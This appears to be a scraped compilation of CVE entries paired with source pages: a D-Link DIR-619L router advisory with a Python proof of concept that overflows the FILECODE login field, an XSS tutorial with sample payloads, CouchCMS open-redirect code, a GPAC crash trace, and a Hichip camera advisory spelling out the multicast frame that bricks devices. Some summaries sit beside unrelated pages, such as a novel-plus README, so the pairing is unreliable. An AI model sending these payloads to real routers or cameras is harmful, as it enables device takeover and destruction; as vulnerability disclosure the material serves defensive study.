Buffer overflow vulnerability in DLINK 619L version B 2.06beta via the FILECODE parameter on login.

**dir\_619l-buffer-overflow**

**Vender** ：D-Link

**Firmware version**:2.06beta

**Exploit Author**: ys110

**Vendor Homepage**: http://www.dlink.com.cn/

**Hardware Link**:http://support.dlink.com.cn/ProductInfo.aspx?m=DIR-619L

**Vul detail**

In the handler of router / goform / Login, the http request parameter “filecode” is obtained through the webgetvar function

When the router login webpage is set to log in with the verification code, the filecode parameter is assigned to the a1 register and transmitted to the getauthcode function

The filecode parameter in the getauthcode function is Copy it into the a2 register, the sprintf function copies it to the local stack, however, it does not check the length, and a very long input could lead to stack overflow and overwrite the return address:

**poc**

import requests
import sys
import struct
import string
import base64
def login(shellcode,user,password,ip):
	postData \= {
	'login\_name':'yuanshuo',
	'curTime':"12345",
	'FILECODE':"a"\*300,
	'VER\_CODE':'vercode',
	'VERIFICATION\_CODE':'12345',
	'login\_n':user,
	'login\_pass':password,
	}
	response \= requests.post('http://192.168.1.1/goform/formLogin',data=postData)
        
        #print 'http://' + ip + '/goform/formLogin'
        print response.json

if \_\_name\_\_ \=\= "\_\_main\_\_":
	login(shellcode,'admin', base64.b64encode('shuoshuo110'),'192.168.1.1')

CVE-2020-19319: GitHub - hhhhu8045759/dir_619l-buffer-overflow: The router is set to open the graphical login. An unauthorized attacker can send attack packets to cause code execution.

Multiple cross-site scripting (XSS) vulnerabilities in Dairy Farm Shop Management System Using PHP and MySQL v1.1 allow attackers to execute arbitrary web scripts and HTML via a crafted payload injected into the Category and Category Field parameters.

In this section, we'll explain what cross-site scripting is, describe the different varieties of cross-site scripting vulnerabilities, and spell out how to find and prevent cross-site scripting.

**What is cross-site scripting (XSS)?**

Cross-site scripting (also known as XSS) is a web security vulnerability that allows an attacker to compromise the interactions that users have with a vulnerable application. It allows an attacker to circumvent the same origin policy, which is designed to segregate different websites from each other. Cross-site scripting vulnerabilities normally allow an attacker to masquerade as a victim user, to carry out any actions that the user is able to perform, and to access any of the user's data. If the victim user has privileged access within the application, then the attacker might be able to gain full control over all of the application's functionality and data.

**How does XSS work?**

Cross-site scripting works by manipulating a vulnerable web site so that it returns malicious JavaScript to users. When the malicious code executes inside a victim's browser, the attacker can fully compromise their interaction with the application.

**Labs**

If you're already familiar with the basic concepts behind XSS vulnerabilities and just want to practice exploiting them on some realistic, deliberately vulnerable targets, you can access all of the labs in this topic from the link below.

*   View all XSS labs

**XSS proof of concept**

You can confirm most kinds of XSS vulnerability by injecting a payload that causes your own browser to execute some arbitrary JavaScript. It's long been common practice to use the alert() function for this purpose because it's short, harmless, and pretty hard to miss when it's successfully called. In fact, you solve the majority of our XSS labs by invoking alert() in a simulated victim's browser.

Unfortunately, there's a slight hitch if you use Chrome. From version 92 onward (July 20th, 2021), cross-origin iframes are prevented from calling alert(). As these are used to construct some of the more advanced XSS attacks, you'll sometimes need to use an alternative PoC payload. In this scenario, we recommend the print() function. If you're interested in learning more about this change and why we like print(), check out our blog post on the subject.

As the simulated victim in our labs uses Chrome, we've amended the affected labs so that they can also be solved using print(). We've indicated this in the instructions wherever relevant.

**What are the types of XSS attacks?**

There are three main types of XSS attacks. These are:

*   Reflected XSS, where the malicious script comes from the current HTTP request.
*   Stored XSS, where the malicious script comes from the website's database.
*   DOM-based XSS, where the vulnerability exists in client-side code rather than server-side code.

**Reflected cross-site scripting**

Reflected XSS is the simplest variety of cross-site scripting. It arises when an application receives data in an HTTP request and includes that data within the immediate response in an unsafe way.

Here is a simple example of a reflected XSS vulnerability:

https://insecure-website.com/status?message=All+is+well.
<p>Status: All is well.</p>

The application doesn't perform any other processing of the data, so an attacker can easily construct an attack like this:

https://insecure-website.com/status?message=<script>/*+Bad+stuff+here...+*/</script>
<p>Status: <script>/* Bad stuff here... */</script></p>

If the user visits the URL constructed by the attacker, then the attacker's script executes in the user's browser, in the context of that user's session with the application. At that point, the script can carry out any action, and retrieve any data, to which the user has access.

**Stored cross-site scripting**

Stored XSS (also known as persistent or second-order XSS) arises when an application receives data from an untrusted source and includes that data within its later HTTP responses in an unsafe way.

The data in question might be submitted to the application via HTTP requests; for example, comments on a blog post, user nicknames in a chat room, or contact details on a customer order. In other cases, the data might arrive from other untrusted sources; for example, a webmail application displaying messages received over SMTP, a marketing application displaying social media posts, or a network monitoring application displaying packet data from network traffic.

Here is a simple example of a stored XSS vulnerability. A message board application lets users submit messages, which are displayed to other users:

<p>Hello, this is my message!</p>

The application doesn't perform any other processing of the data, so an attacker can easily send a message that attacks other users:

<p><script>/* Bad stuff here... */</script></p>

**DOM-based cross-site scripting**

DOM-based XSS (also known as DOM XSS) arises when an application contains some client-side JavaScript that processes data from an untrusted source in an unsafe way, usually by writing the data back to the DOM.

In the following example, an application uses some JavaScript to read the value from an input field and write that value to an element within the HTML:

var search = document.getElementById('search').value;
var results = document.getElementById('results');
results.innerHTML = 'You searched for: ' + search;

If the attacker can control the value of the input field, they can easily construct a malicious value that causes their own script to execute:

You searched for: <img src=1 onerror='/* Bad stuff here... */'>

In a typical case, the input field would be populated from part of the HTTP request, such as a URL query string parameter, allowing the attacker to deliver an attack using a malicious URL, in the same manner as reflected XSS.

**What can XSS be used for?**

An attacker who exploits a cross-site scripting vulnerability is typically able to:

*   Impersonate or masquerade as the victim user.
*   Carry out any action that the user is able to perform.
*   Read any data that the user is able to access.
*   Capture the user's login credentials.
*   Perform virtual defacement of the web site.
*   Inject trojan functionality into the web site.

**Impact of XSS vulnerabilities**

The actual impact of an XSS attack generally depends on the nature of the application, its functionality and data, and the status of the compromised user. For example:

*   In a brochureware application, where all users are anonymous and all information is public, the impact will often be minimal.
*   In an application holding sensitive data, such as banking transactions, emails, or healthcare records, the impact will usually be serious.
*   If the compromised user has elevated privileges within the application, then the impact will generally be critical, allowing the attacker to take full control of the vulnerable application and compromise all users and their data.

**How to find and test for XSS vulnerabilities**

The vast majority of XSS vulnerabilities can be found quickly and reliably using Burp Suite's web vulnerability scanner.

Manually testing for reflected and stored XSS normally involves submitting some simple unique input (such as a short alphanumeric string) into every entry point in the application, identifying every location where the submitted input is returned in HTTP responses, and testing each location individually to determine whether suitably crafted input can be used to execute arbitrary JavaScript. In this way, you can determine the context in which the XSS occurs and select a suitable payload to exploit it.

Manually testing for DOM-based XSS arising from URL parameters involves a similar process: placing some simple unique input in the parameter, using the browser's developer tools to search the DOM for this input, and testing each location to determine whether it is exploitable. However, other types of DOM XSS are harder to detect. To find DOM-based vulnerabilities in non-URL-based input (such as document.cookie) or non-HTML-based sinks (like setTimeout), there is no substitute for reviewing JavaScript code, which can be extremely time-consuming. Burp Suite's web vulnerability scanner combines static and dynamic analysis of JavaScript to reliably automate the detection of DOM-based vulnerabilities.

**Content security policy**

Content security policy (CSP) is a browser mechanism that aims to mitigate the impact of cross-site scripting and some other vulnerabilities. If an application that employs CSP contains XSS-like behavior, then the CSP might hinder or prevent exploitation of the vulnerability. Often, the CSP can be circumvented to enable exploitation of the underlying vulnerability.

**Dangling markup injection**

Dangling markup injection is a technique that can be used to capture data cross-domain in situations where a full cross-site scripting exploit is not possible, due to input filters or other defenses. It can often be exploited to capture sensitive information that is visible to other users, including CSRF tokens that can be used to perform unauthorized actions on behalf of the user.

**How to prevent XSS attacks**

Preventing cross-site scripting is trivial in some cases but can be much harder depending on the complexity of the application and the ways it handles user-controllable data.

In general, effectively preventing XSS vulnerabilities is likely to involve a combination of the following measures:

*   **Filter input on arrival.** At the point where user input is received, filter as strictly as possible based on what is expected or valid input.
*   **Encode data on output.** At the point where user-controllable data is output in HTTP responses, encode the output to prevent it from being interpreted as active content. Depending on the output context, this might require applying combinations of HTML, URL, JavaScript, and CSS encoding.
*   **Use appropriate response headers.** To prevent XSS in HTTP responses that aren't intended to contain any HTML or JavaScript, you can use the Content-Type and X-Content-Type-Options headers to ensure that browsers interpret the responses in the way you intend.
*   **Content Security Policy.** As a last line of defense, you can use Content Security Policy (CSP) to reduce the severity of any XSS vulnerabilities that still occur.

**Common questions about cross-site scripting**

**How common are XSS vulnerabilities?** XSS vulnerabilities are very common, and XSS is probably the most frequently occurring web security vulnerability.

**How common are XSS attacks?** It is difficult to get reliable data about real-world XSS attacks, but it is probably less frequently exploited than other vulnerabilities.

**What is the difference between XSS and CSRF?** XSS involves causing a web site to return malicious JavaScript, while CSRF involves inducing a victim user to perform actions they do not intend to do.

**What is the difference between XSS and SQL injection?** XSS is a client-side vulnerability that targets other application users, while SQL injection is a server-side vulnerability that targets the application's database.

**How do I prevent XSS in PHP?** Filter your inputs with a whitelist of allowed characters and use type hints or type casting. Escape your outputs with htmlentities and ENT_QUOTES for HTML contexts, or JavaScript Unicode escapes for JavaScript contexts.

**How do I prevent XSS in Java?** Filter your inputs with a whitelist of allowed characters and use a library such as Google Guava to HTML-encode your output for HTML contexts, or use JavaScript Unicode escapes for JavaScript contexts.

CVE-2023-41593: What is cross-site scripting (XSS) and how to prevent it? | Web Security Academy

An open redirect vulnerability in the sanitize_url() parameter of CouchCMS v2.3 allows attackers to redirect a victim user to an arbitrary web site via a crafted URL.

The function sanitize_url() used to filter urls in /couch/functions.php does not set strict filtering rules.I found that the code does not filter \\ characters.Although https:\\www.bing.com is not a legitimate request,the URL of the request will be checked and corrected in the browser,resulting in the URL being corrected to https://www.bing.com, resulting in the vulnerability.

function sanitize\_url( $url, $default\='', $only\_local\=0 ){
    $url = trim( $url );
    $default = trim( $default );

    if( strlen($url) ){
        // Only chars permitted to remain unencoded in urls remain
        $url = preg\_replace( array('/</', '/>/', '/"/', '/\\x00+/'), array('', '', '', ''), $url );
        $url = preg\_replace( '|\[^a-z0-9:#@%/;,\\'$()~\_?\\+-=\\\\\\.&!\]|i', '', $url );

        // remove newlines
        $newlines = array('%0d', '%0D', '%0a', '%0A');
        $found = true;
        while( $found == true ){
            $val\_before = $url;
            for( $i = 0; $i < count($newlines); $i++ ){
                $url = str\_replace( $newlines\[$i\], '', $url );
            }
            if( $val\_before == $url ){ $found = false; }
        }

        if( strlen($url) ){
            if( $only\_local ){ // don't allow redirects external to our site
                if( !strlen($default) ) $default\=K\_SITE\_URL;

                if( strpos($url, '//')!==false ){
                    if( strpos($url, K\_SITE\_URL)!==0 ){
                        $url = $default;
                    }
                }
                elseif( strpos($url, '/\\\\')===0 ){
                    $url = $default;
                }
            }
        }
        else{
            $url = $default;
        }
    }
    else{
        $url = $default;
    }

    return $url;
}

CVE-2023-41609: CouchCMS v2.3 exists an open redirect vulnerability · Issue #190 · CouchCMS/CouchCMS

Buffer Overflow vulnerability in D-Link DIR-605L, hardware version AX, firmware version 1.17beta and below, allows authorized attackers execute arbitrary code via sending crafted data to the webserver service program.

*   *   Actions
        
        Automate any workflow
        
    *   Packages
        
        Host and manage packages
        
    *   Security
        
        Find and fix vulnerabilities
        
    *   Codespaces
        
        Instant dev environments
        
    *   Copilot
        
        Write better code with AI
        
    *   Code review
        
        Manage code changes
        
    *   Issues
        
        Plan and track work
        
    *   Discussions
        
        Collaborate outside of code
        
    

*   *   GitHub Sponsors
        
        Fund open source developers
        
    
    *   The ReadME Project
        
        GitHub community articles
        
    
*   Pricing

**Search code, repositories, users, issues, pull requests...**

**Provide feedback**

**Saved searches****Use saved searches to filter your results more quickly**

Sign up

CVE-2020-19318: dir_605L-stack-overflow/README.md at master · hhhhu8045759/dir_605L-stack-overflow

Cross Site Scripting vulnerability in ZLMediaKiet v.4.0 and v.5.0 allows an attacker to execute arbitrary code via a crafted script to the URL.

CVE-2023-39067

A stack based out-of-bounds write flaw was found in the netfilter subsystem in the Linux kernel. If the expression length is a multiple of 4 (register size), the `nft_exthdr_eval` family of functions writes 4 NULL bytes past the end of the `regs` argument, leading to stack corruption and potential information disclosure or a denial of service.

**Red Hat Product Security Center**

Engage with our Red Hat Product Security team, access security updates, and ensure your environments are not exposed to any known security vulnerabilities.

Product Security Center

CVE-2023-4881: cve-details

novel-plus 3.6.2 is vulnerable to SQL Injection.

    

👉 官网 | 👉 项目演示 | 👉 安装教程

**项目介绍**

novel-plus 是一个多端（PC、WAP）阅读，功能完善的原创文学 CMS 系统。由前台门户系统、作家后台管理系统、平台后台管理系统和爬虫管理系统等多个子系统构成，包括小说推荐、作品检索、小说排行、小说阅读、小说评论、会员中心、作家专区等功能，支持自定义多模版、可拓展的多种小说内容存储方式（内置数据库分表存储和 TXT 文本存储）、阅读主题切换、多爬虫源自动采集和更新数据、会员充值、订阅模式、新闻发布和实时统计报表。

**项目地址**

*   学习版：GitHub ｜ 码云 ｜ 保姆级教程
*   **应用版**：GitHub ｜ 码云
*   微服务版：GitHub ｜ 码云

**项目结构**

    novel-plus -- 父工程
    ├── novel-common -- 通用模块
    ├── novel-front -- 前台门户&作家后台
    ├── novel-crawl -- 爬虫
    ├── novel-admin -- 管理后台
    └── templates -- 前端模版
    

**技术选型**

技术

说明

Spring Boot

Spring 应用快速开发脚手架

MyBatis

持久层 ORM 框架

MyBatis Dynamic SQL

Mybatis 动态 sql

PageHelper

MyBatis 分页插件

MyBatis Generator

持久层代码生成插件

Sharding-JDBC

代码层分库分表中间件

JJWT

JWT 登录支持

Spring Security

安全框架

Apache Shiro

安全框架

Redis

缓存方案

Aliyun OSS

阿里云对象存储服务（图片存储备选方案）

Lombok

简化对象封装工具

Docker

应用容器引擎

MySQL

数据库服务

Thymeleaf

模板引擎

Layui

前端 UI 框架

**项目演示**

https://www.bilibili.com/video/BV1Zo4y187Mi

**增值服务**

👉 了解详情

**微信公众号**

发布最新更新动态、最新前端模版、最新爬虫规则、文档教程等。

**赞赏支持**

开源项目不易，若此项目能得到你的青睐，那么你可以赞赏支持作者持续开发与维护。

*   服务器的费用也是一笔开销
*   编写更完备的文档教程
*   发布更多前端模版和爬虫规则
*   一杯咖啡

**免责声明**

本项目提供的爬虫工具仅用于采集项目初期的测试数据，请勿用于商业盈利。 用户使用本系统从事任何违法违规的事情，一切后果由用户自行承担，作者不承担任何责任。

CVE-2023-30058: GitHub - 201206030/novel-plus: novel-plus 是一个多端（PC、WAP）阅读 、功能完善的小说 CMS 系统。包括小说推荐、小说检索、小说排行、小说阅读、小说书架、小说评论、小说爬虫、会员中心、作家专区、充值订阅、新闻发布等功能。

GPAC through 2.2.1 has a use-after-free vulnerability in the function gf_bifs_flush_command_list in bifs/memory_decoder.c.

Thanks for your reply

Yeah, there's something wrong with my sanitizer, correct reporting is a use-after-free issue as follows

\==57372==ERROR: AddressSanitizer: heap-use-after-free on address 0x603000001030 at pc 0x7f6bf19b9154 bp 0x7ffd09243090 sp 0x7ffd09243088  
READ of size 4 at 0x603000001030 thread T0  
#0 0x7f6bf19b9153 in gf\_bifs\_flush\_command\_list (/usr/local/lib/libgpac.so.12+0x135a153)  
#1 0x7f6bf19b94be in gf\_bifs\_decode\_command\_list (/usr/local/lib/libgpac.so.12+0x135a4be)  
#2 0x7f6bf21f5d05 in gf\_sm\_load\_run\_isom (/usr/local/lib/libgpac.so.12+0x1b96d05)  
#3 0x51eea8 in dump\_isom\_scene /root/fuzz\_pro/fuzz\_gpac/gpac/applications/mp4box/filedump.c:209:14  
#4 0x50a1df in mp4box\_main /root/fuzz\_pro/fuzz\_gpac/gpac/applications/mp4box/mp4box.c:6461:7  
#5 0x7f6bf0359d8f (/lib/x86\_64-linux-gnu/libc.so.6+0x29d8f)  
#6 0x7f6bf0359e3f in \_\_libc\_start\_main (/lib/x86\_64-linux-gnu/libc.so.6+0x29e3f)  
#7 0x42fcf4 in \_start (/usr/local/bin/MP4Box+0x42fcf4)

0x603000001030 is located 0 bytes inside of 24-byte region \[0x603000001030,0x603000001048)  
freed by thread T0 here:  
#0 0x4ac972 in \_\_interceptor\_free (/usr/local/bin/MP4Box+0x4ac972)  
#1 0x7f6bf1529ad5 in gf\_sg\_command\_del (/usr/local/lib/libgpac.so.12+0xecaad5)  
#2 0x7f6bf19b189c in BM\_ParseInsert (/usr/local/lib/libgpac.so.12+0x135289c)  
#3 0x7f6bf19b7be6 in BM\_ParseCommand (/usr/local/lib/libgpac.so.12+0x1358be6)  
#4 0x7f6bf19b8336 in gf\_bifs\_flush\_command\_list (/usr/local/lib/libgpac.so.12+0x1359336)  
#5 0x7f6bf19b94be in gf\_bifs\_decode\_command\_list (/usr/local/lib/libgpac.so.12+0x135a4be)  
#6 0x7f6bf21f5d05 in gf\_sm\_load\_run\_isom (/usr/local/lib/libgpac.so.12+0x1b96d05)  
#7 0x51eea8 in dump\_isom\_scene /root/fuzz\_pro/fuzz\_gpac/gpac/applications/mp4box/filedump.c:209:14  
#8 0x50a1df in mp4box\_main /root/fuzz\_pro/fuzz\_gpac/gpac/applications/mp4box/mp4box.c:6461:7  
#9 0x7f6bf0359d8f (/lib/x86\_64-linux-gnu/libc.so.6+0x29d8f)

previously allocated by thread T0 here:  
#0 0x4acbdd in malloc (/usr/local/bin/MP4Box+0x4acbdd)  
#1 0x7f6bf174e467 in gf\_sg\_vrml\_field\_pointer\_new (/usr/local/lib/libgpac.so.12+0x10ef467)  
#2 0x7f6bf19b12ab in BM\_ParseInsert (/usr/local/lib/libgpac.so.12+0x13522ab)  
#3 0x7f6bf19b7be6 in BM\_ParseCommand (/usr/local/lib/libgpac.so.12+0x1358be6)  
#4 0x7f6bf19b8336 in gf\_bifs\_flush\_command\_list (/usr/local/lib/libgpac.so.12+0x1359336)  
#5 0x7f6bf19b94be in gf\_bifs\_decode\_command\_list (/usr/local/lib/libgpac.so.12+0x135a4be)  
#6 0x7f6bf21f5d05 in gf\_sm\_load\_run\_isom (/usr/local/lib/libgpac.so.12+0x1b96d05)  
#7 0x51eea8 in dump\_isom\_scene /root/fuzz\_pro/fuzz\_gpac/gpac/applications/mp4box/filedump.c:209:14  
#8 0x50a1df in mp4box\_main /root/fuzz\_pro/fuzz\_gpac/gpac/applications/mp4box/mp4box.c:6461:7  
#9 0x7f6bf0359d8f (/lib/x86\_64-linux-gnu/libc.so.6+0x29d8f)

SUMMARY: AddressSanitizer: heap-use-after-free (/usr/local/lib/libgpac.so.12+0x135a153) in gf\_bifs\_flush\_command\_list  
Shadow bytes around the buggy address:  
0x0c067fff81b0: fa fa 00 00 00 01 fa fa 00 00 04 fa fa fa fd fd  
0x0c067fff81c0: fd fd fa fa 00 00 04 fa fa fa 00 00 00 fa fa fa  
0x0c067fff81d0: 00 00 00 01 fa fa 00 00 04 fa fa fa fd fd fd fd  
0x0c067fff81e0: fa fa 00 00 04 fa fa fa 00 00 00 00 fa fa 00 00  
0x0c067fff81f0: 00 00 fa fa 00 00 00 00 fa fa 00 00 00 00 fa fa  
\=>0x0c067fff8200: 00 00 00 00 fa fa\[fd\]fd fd fa fa fa fd fd fd fa  
0x0c067fff8210: fa fa fd fd fd fa fa fa fd fd fd fa fa fa fd fd  
0x0c067fff8220: fd fa fa fa fd fd fd fa fa fa fd fd fd fa fa fa  
0x0c067fff8230: fd fd fd fa fa fa fd fd fd fa fa fa fd fd fd fa  
0x0c067fff8240: fa fa fd fd fd fa fa fa fd fd fd fa fa fa fa fa  
0x0c067fff8250: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa  
Shadow byte legend (one shadow byte represents 8 application bytes):  
Addressable: 00  
Partially addressable: 01 02 03 04 05 06 07  
Heap left redzone: fa  
Freed heap region: fd  
Stack left redzone: f1  
Stack mid redzone: f2  
Stack right redzone: f3  
Stack after return: f5  
Stack use after scope: f8  
Global redzone: f9  
Global init order: f6  
Poisoned by user: f7  
Container overflow: fc  
Array cookie: ac  
Intra object redzone: bb  
ASan internal: fe  
Left alloca redzone: ca  
Right alloca redzone: cb  
\==57372==ABORTING

CVE-2023-41000: Null Pointer Dereference in function BS_ReadByte · Issue #2550 · gpac/gpac

In PHPJabbers Cleaning Business Software 1.0, there is no encryption on user passwords allowing an attacker to gain access to all user accounts.

CVE-2023-36140

Shenzhen Hichip Vision Technology IP Camera Firmware V11.4.8.1.1-20170926 has a denial of service vulnerability through sending a crafted multicast message in a local network.

**Short description of CVE-2022-23382**

Firmware developed by Shenzhen Hichip Vision Technology contains an intellectual property protection feature which was designed to deactivate cloned devices (IP cameras). Unfortunately this feature can be used to damage any device that uses this firmware. It could be activated by sending specially crafted multicast message. Firmware will remove three files from itself when receiving this message. After successful attack, the device is without its features like video streaming or embedded configuration website. There is no easy way to restore removed features from an attacked device. Vulnerability was tested on device with firmware V11.4.8.1.1-20170926.

**Statement of Shenzhen Hichip Vision Technology**

A specially crafted multicast message only can deactivate a given copyrighted camera and it's clone ones, but it can't deactivate other copyrighted cameras. We used this intellectual property protection feature only in some special kind of cameras in 2017 for a very short time, it only affects about several thousand 'clone' cameras. When we realized that it maybe hurt not only the illegal factory but also the innocent end users, we removed it soon.

**Is my camera vulnerable?**

Software created by Shenzhen Hichip Vision Technology is utilized in cameras rebranded by other companies. I have not discovered a straightforward, secure, and dependable method to verify your camera. If you trigger vulnerability then you will brick your camera. But… on the tested camera I found that vulnerable applications serve additional service on UDP port 8002. This service has another vulnerability - CVE-2020-9529. You can use the tool hisearcher.py to check if your camera has this service. If you found service on port 8002, then you can assume that you have also hidden service on UDP port 12129. As an alternative solution you could try to block sending data to port 12129 in your network router. If you are an advanced user you could try some binary patching of ipc\_server on your own.

**Details**

The vulnerability can be found in an application located at /mnt/mtd/ipc/ipc\_server. This program serves two hidden services. First on UDP port 8002 (which is affected by the bug CVE-2020-9529). Second on UDP port 12129, affected by the CVE-2022-23382. Service is waiting for multicast data sent to address 239.255.255.252. Full frame is constructed from 32 bytes of data:

*   magic value (0xf9f9f9f9),
*   3 bytes of random data,
*   first 8 bytes of Device-ID value (full Device-ID you can get with hisearcher.py tool),
*   1 byte checksum of the first part of the Device-ID (XOR),
*   last 8 bytes of Device-ID value,
*   1 byte checksum of the last part of the Device-ID (XOR),
*   7 bytes of random data.

If you send frame with modified first part of Device-ID (remember to recalculate checksum) the ipc\_server will execute sequence:

unlink(”/mnt/mtd/ipc/modules/hi3518ebase.ko”);  
unlink(”/mnt/mtd/ipc/conf/configencode.ini”);  
unlink(”/mnt/mtd/ipc/chksensor”);  
  
After reboot the device is bricked. The only way to repair the device is restoring these files (if you have a copy of them).

**Proposed CVSS:**CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H

Source

CVE